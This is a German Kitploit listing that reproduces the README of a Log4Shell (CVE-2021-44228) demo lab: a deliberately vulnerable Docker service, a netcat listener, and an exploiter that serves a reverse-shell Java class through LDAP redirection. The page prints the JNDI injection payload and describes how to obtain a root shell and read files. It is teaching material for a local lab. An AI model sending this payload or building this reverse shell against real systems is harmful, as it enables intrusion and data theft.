Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j-vulnerability — Zeigt, wie die Sicherheitslücke CVE-2021-44228 ausgenutzt wird. | Kitploit
Tools/GitHubGitHub/marceloleite2604/log4j-vulnerability
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and ControlLernen & BildungRemote-Access-ToolPayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
marceloleite2604/log4j-vulnerability

log4j-vulnerability

Zeigt, wie die Sicherheitslücke CVE-2021-44228 ausgenutzt wird.

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

LOG4J Schwachstelle

Ein Java-basiertes Projekt, das zeigt, wie die Schwachstelle CVE-2021-44228 ausgenutzt werden kann.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

Voraussetzungen

  • Ein Linux-basiertes Betriebssystem: Ich habe Ubuntu Desktop 20.10 64 Bit verwendet
  • OpenJDK 17.0.1: Zum Bauen des Exploit-Programms. Neuere Versionen könnten ebenfalls funktionieren.
  • Oracle Java Development Kit (JDK) 1.8.0_181: Dies ist entscheidend dafür, dass der Exploit funktioniert. Es ist nicht nötig, es zu installieren, aber das Projekt benötigt es im Wurzelverzeichnis entpackt. Das JDK findet man auf der Oracle Java SE 8 Archive Downloads (JDK 8u202 und früher) Seite.
  • Apache Maven 3.6.3: Zur Verwaltung von Abhängigkeiten und Erstellung von Jar-Dateien. Neuere Versionen könnten ebenfalls funktionieren.
  • Docker 20.10.12: Zur Verwaltung des Containers, der den auszubeutenden Dienst enthält. Neuere Versionen könnten ebenfalls funktionieren.
  • Docker-compose 1.29.2: Zur Unterstützung der Orchestrierung der Image-Erstellung sowie der Container-Erstellung, -Ausführung und -Entfernung. Neuere Versionen könnten ebenfalls funktionieren.
  • GNU Make 4.3: Dieses Projekt verwendet Makefile zur Überprüfung und Erstellung erforderlicher Dateien. Neuere Versionen könnten ebenfalls funktionieren.
  • OpenBSD Netcat (auch nc): Zur Herstellung der Kommunikation mit dem angegriffenen Server. Dieses Paket kann über den Paketmanager Ihrer Linux-Distribution (wie apt) installiert werden.
  • (Empfohlen) IntelliJ IDEA Community Edition 2021.3.1: Wenn Sie einen Blick unter die Haube dieser Projekte werfen möchten, empfehle ich die Installation dieser IDE. Auch hier könnten neuere Versionen funktionieren.

Ausführung

  1. Klonen Sie dieses Repository auf Ihren lokalen Rechner.
  2. Laden Sie das JDK von der Oracle Java SE 8 Archive Downloads (JDK 8u202 und früher) Seite herunter und entpacken Sie es im Projekt-Wurzelverzeichnis. Belassen Sie es im Verzeichnis jdk1.8.0_181, das bei der Extraktion erstellt wurde.
  3. Führen Sie make all aus, um alle Projekte zu bauen und ein Docker-Image mit dem verwundbaren Dienst zu erstellen.
  4. Öffnen Sie drei Terminals und führen Sie die folgenden Befehle aus:
    1. Erstes Terminal: make start-vulnerable-service, um einen Docker-Container zu starten, der den auszubeutenden Dienst ausführt. Der Dienst ist über Port 8080 der lokalen Maschine erreichbar.
    2. Zweites Terminal: make start-nc, um einen TCP-Listener zu starten, der auf die Verbindung mit dem angegriffenen Server wartet.
    3. Drittes Terminal: make start-exploiter, um das Programm zu starten, das uns bei der Ausnutzung der Schwachstelle hilft.
  5. Nach dem Starten des dritten Terminals zeigt das Exploiter-Programm eine URL zum Zugriff an. Fügen Sie diese in Ihren Browser ein, um die Ausnutzung zu starten.
  6. Wenn alles wie erwartet funktioniert, erhält der Browser keine Antwort und bleibt im Ladezustand hängen.
  7. Überprüfen Sie nun das zweite Terminal (das, in dem make start-nc ausgeführt wurde). Möglicherweise haben Sie eine Nachricht wie Connection received on 172.24.0.2 46638 erhalten (IP-Adresse und TCP-Port können von den hier gezeigten abweichen). Dies bedeutet, dass der Exploit funktioniert hat und wir jetzt eine Shell auf dem Server/Docker-Container haben.

Wie funktioniert es?

Bevor wir das beantworten, werfen wir einen Blick auf die Prozesse, die im Ablauf erstellt werden.

log4-vulnerability processeses

Docker-Container

Dieser Docker-Container stellt einen einfachen HTTP-Dienst bereit, der GET-Anfragen auf dem Pfad /log mit einem input-Parameter empfängt. Sobald er sie erhält, protokolliert er die Eingabe auf der Konsole.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

Um die Schwachstelle auszunutzen, sind einige spezifische Konfigurationen erforderlich:

  • Die Java-Runtime-Umgebung (JRE), die zum Ausführen des Dienstes verwendet wird, ist Version 1.8.0_181. Dies ist notwendig, um das Laden einer Java-Klasse von einem externen Dienst zu ermöglichen.
  • Die Java-Projektabhängigkeiten müssen stark modifiziert werden, um das standardmäßige spring-boot-starter-logging:2.6.1 durch spring-boot-starter-log4j2:2.6.1 zu ersetzen. Letzteres bringt log4j-core:2.14.1 in das Projekt, eine Version, die für CVE-2021-44228 anfällig ist.

dependency-tree

  • Die Dienst-Jar-Datei wurde mit dem Java-Compiler in Version 1.8.0_181 erstellt.

Netcat (nc) Programm

Hier gibt es keine großen Erklärungen oder Anpassungen. Dies ist ein einfaches Programm zum Lesen und Schreiben von Daten über die TCP- und UDP-Protokolle. Wir werden es verwenden, um auf eingehende TCP-Verbindungen auf Port 9001 zu lauschen (etwas anderes wird diese Verbindung für uns auf der Serverseite öffnen. 😉).

Sobald die Verbindung hergestellt ist, werden alle eingehenden Daten auf der Konsole ausgegeben. Auch alle geschriebenen Eingaben werden über diese Verbindung gesendet.

Exploiter

Hier beginnt der Spaß!

Dieses Programm kapselt mehrere Schritte, die zur Ausnutzung der Schwachstelle erforderlich sind. Lassen Sie es uns aufschlüsseln:

Ausführungsargumente

Um dieses Programm auszuführen, müssen wir drei Parameter angeben:

  1. HTTP-Server und Netcat IP-Adresse/Host: Um die Schwachstelle auszunutzen, benötigen wir die IP-Adresse des HTTP-Servers relativ zum verwundbaren Dienst, damit unsere LDAP-Antwort ihn umleiten kann, um die kompilierte Java-Klasse darüber herunterzuladen. Sie wird auch von der Java-Klasse selbst verwendet, um eine TCP-Verbindung mit Netcat zu öffnen (oben erklärt).
  2. HTTP-Server-Port: Der Port, an dem der für das Senden der kompilierten Java-Klasse zuständige HTTP-Server Verbindungen akzeptiert. Er wird auch mit der LDAP-Antwort gesendet, um den Port mitzuteilen, von dem die kompilierte Java-Klasse heruntergeladen wird.
  3. Netcat-Port: Der Port, an dem Netcat auf Verbindungen lauscht. Er wird von der kompilierten Java-Klasse verwendet, um eine TCP-Verbindung mit Netcat zu öffnen.

Exploit Java-Klasse

Sobald das Programm startet, schreibt es einen Java-Code basierend auf einer Vorlage. Diese Vorlage erfordert zwei Argumente: die Netcat-IP-Adresse und den Port.

Sobald der Code geschrieben ist, wird das Programm ihn mit dem Java-Compiler (javac) in der Version 1.8.0_181 in eine binäre Klassendatei kompilieren. Dies ist wichtig, um die gleiche Code-Version wie der ausgenutzte Dienst beizubehalten.

Die Exploit-Java-Klasse hat eine recht einfache Struktur. In ihrem Konstruktor gibt es eine Anweisung, die das Betriebssystem auffordert, ein Shell-Programm zu erstellen. Sobald dieses erstellt ist, öffnet die Klasse eine TCP-Verbindung mit Netcat, verbindet die Ein- und Ausgaben der Shell und der TCP-Verbindung und fängt die Ausführung der Java Virtual Machine in einer Schleife, bis die Verbindung von Netcat geschlossen wird. Sobald sie die Schleife verlässt, fährt der Konstruktor fort, als ob nichts passiert wäre.

Marshalsec-Programm

Der Exploiter öffnet einen Unterprozess, der die Ausführung des Marshalsec-Java-Programms anfordert. Das Marshalsec-Programm ist auf dem mbechler/marchalsec Github-Projekt verfügbar.

Neben anderen Funktionen verwaltet es LDAP-Anfragen und kann verwendet werden, um eingehende Verbindungen aufzufordern, Anfragen durch Herunterladen von Java-Klassen von einer externen Quelle aufzulösen. In unserem Fall werden wir es verwenden, um eingehende Verbindungen aufzufordern, unsere Exploit-Java-Klasse vom HTTP-Dienst herunterzuladen.

HTTP-Dienst

Sobald das Exploiter-Programm die präparierte Java-Klasse erstellt hat, startet es einen HTTP-Dienst mit einer einzigen Antwort: Die binäre Exploit-Java-Klasse.

Kurz gesagt, wenn der verwundbare Dienst das Laden der externen Klasse anfordert, liest dieser Dienst die binäre Java-Klassendatei und sendet sie zurück an den verwundbaren Dienst. So einfach ist das!

Ein HTTP-Request, der alle beherrscht

Sobald alles läuft, gibt das Programm die HTTP-Anfrage aus, die zum Auslösen des Exploits erforderlich ist. Kopieren Sie sie einfach in Ihren bevorzugten Browser oder verwenden Sie curl über ein Terminal, was für Sie am besten funktioniert!

Die Anfrage wird etwa so aussehen:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

Da die Abfrageparameter Sonderzeichen enthalten, müssen sie kodiert werden, damit der Browser sie akzeptieren kann. Wenn wir sie dekodieren, lautet die Nachricht:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

Der Kommunikationsablauf

Hier ist ein vereinfachtes Diagramm dessen, was passiert, sobald die Anfrage gesendet wird:

log4j-vulnerability communication flow

Ich werde versuchen, es zu verwenden, um zu erklären, was als nächstes passiert:

  • Der Browser sendet die HTTP-Anfrage an unseren verwundbaren Dienst.
  • Der verwundbare Dienst nimmt die Anfrage an und protokolliert die Benutzereingabe.
  • Sobald log4j die Nachricht erhält, bemerkt es, dass ein Inhalt aufgelöst werden muss: ${jndi:ldap://host.docker.internal:1389/a}.
  • Laut dem Wert muss der darzustellende Inhalt über das LDAP-Protokoll von host.docker.internal:1389 mit dem Schlüssel a abgerufen werden (ein eher langweiliger und ungültiger LDAP Distinguished Name, aber hey, solange es funktioniert...). Log4j sendet dann eine Anfrage an diese Adresse mit der Absicht, den Wert abzurufen.

Beobachtung: host.docker.internal ist eine gültige Adresse aus dem Docker-Dienst, um die physische Maschine zu erreichen, auf der er läuft.

  • Das Marshalsec-Programm (lokal auf Port 1389 laufend) wird dann die eingehende Anfrage annehmen und den verwundbaren Dienst auffordern, eine Java-Klassendatei herunterzuladen, die unter host.docker.internal:8000 mit dem Namen Exploit verfügbar ist, um die Anfrage aufzulösen.
  • Log4j sendet dann eine Anfrage an host.docker.internal:8000 und fordert eine Ressource unter dem Pfad /Exploit an.
  • Der HTTP-Dienst (lokal auf Port 8000 laufend) antwortet dann auf die Anfrage und sendet die binäre Exploit-Java-Klasse.
  • Log4j versucht dann, die Klasse zu instanziieren, um die Variable aufzulösen, indem es ihre Exploit()-Konstruktormethode ausführt.
  • Die Exploit()-Konstruktormethode startet ein Shell-Programm auf dem Server und fordert die Öffnung eines TCP-Kanals mit host.docker.internal:9001 an.
  • Netcat (lokal auf Port 9001 laufend) akzeptiert dann die eingehende TCP-Verbindung.
  • Die Exploit()-Konstruktormethode verbindet dann die Shell-Ein- und -Ausgaben mit der TCP-Verbindung und fängt den Java-Virtual-Machine-Thread in einer Schleife, bis die TCP-Verbindung von der anderen Seite geschlossen wird.
  • Netcat kann nun verwendet werden, um Shell-Befehle zu senden und Ausgaben vom Server zu empfangen.

Überlegungen

TBD

Referenzen

kozmer/log4j-shell-poc Github-Projekt - Es half mir zu verstehen, wie der Exploit funktioniert. Vielen Dank an alle, die zu diesem Projekt beigetragen haben!

mbechler/marchalsec Github-Projekt - Ohne dieses Projekt wäre ich nicht in der Lage gewesen, so schnell mit LDAP-Kommunikation und Weiterleitung zu arbeiten. Danke Leute!

SrcCodes Log4j Schwachstelle Video - Ein gut erklärtes Video, das zeigt, wie man den Exploit auf einem Spring-basierten Programm startet.

Nowcomm CVE-2021-44228 Exploit-Demo-Video - Ein schönes Video, das erklärt, wie man CVE-2021-44228 auf Apache Solr ausnutzt. Ich musste die zweite Hälfte etwa ein Dutzend Mal ansehen, um zu verstehen, was tatsächlich passiert! 😛

Tool herunterladen
  • Um sicherzugehen, dass alles wie erwartet verlief, versuchen Sie, den Befehl whoami auszuführen. Sie erhalten möglicherweise root als Ausgabe.
  • Versuchen Sie nun, cat ../private-directory/my-secret-file.txt auszuführen, um zu sehen, was passiert. 🙂
  • Wenn Sie mit dem Server fertig sind, drücken Sie STRG+C, um die Verbindung zu schließen.
  • Sie können auch in den anderen Terminals STRG+C drücken, um die Prozesse zu unterbrechen.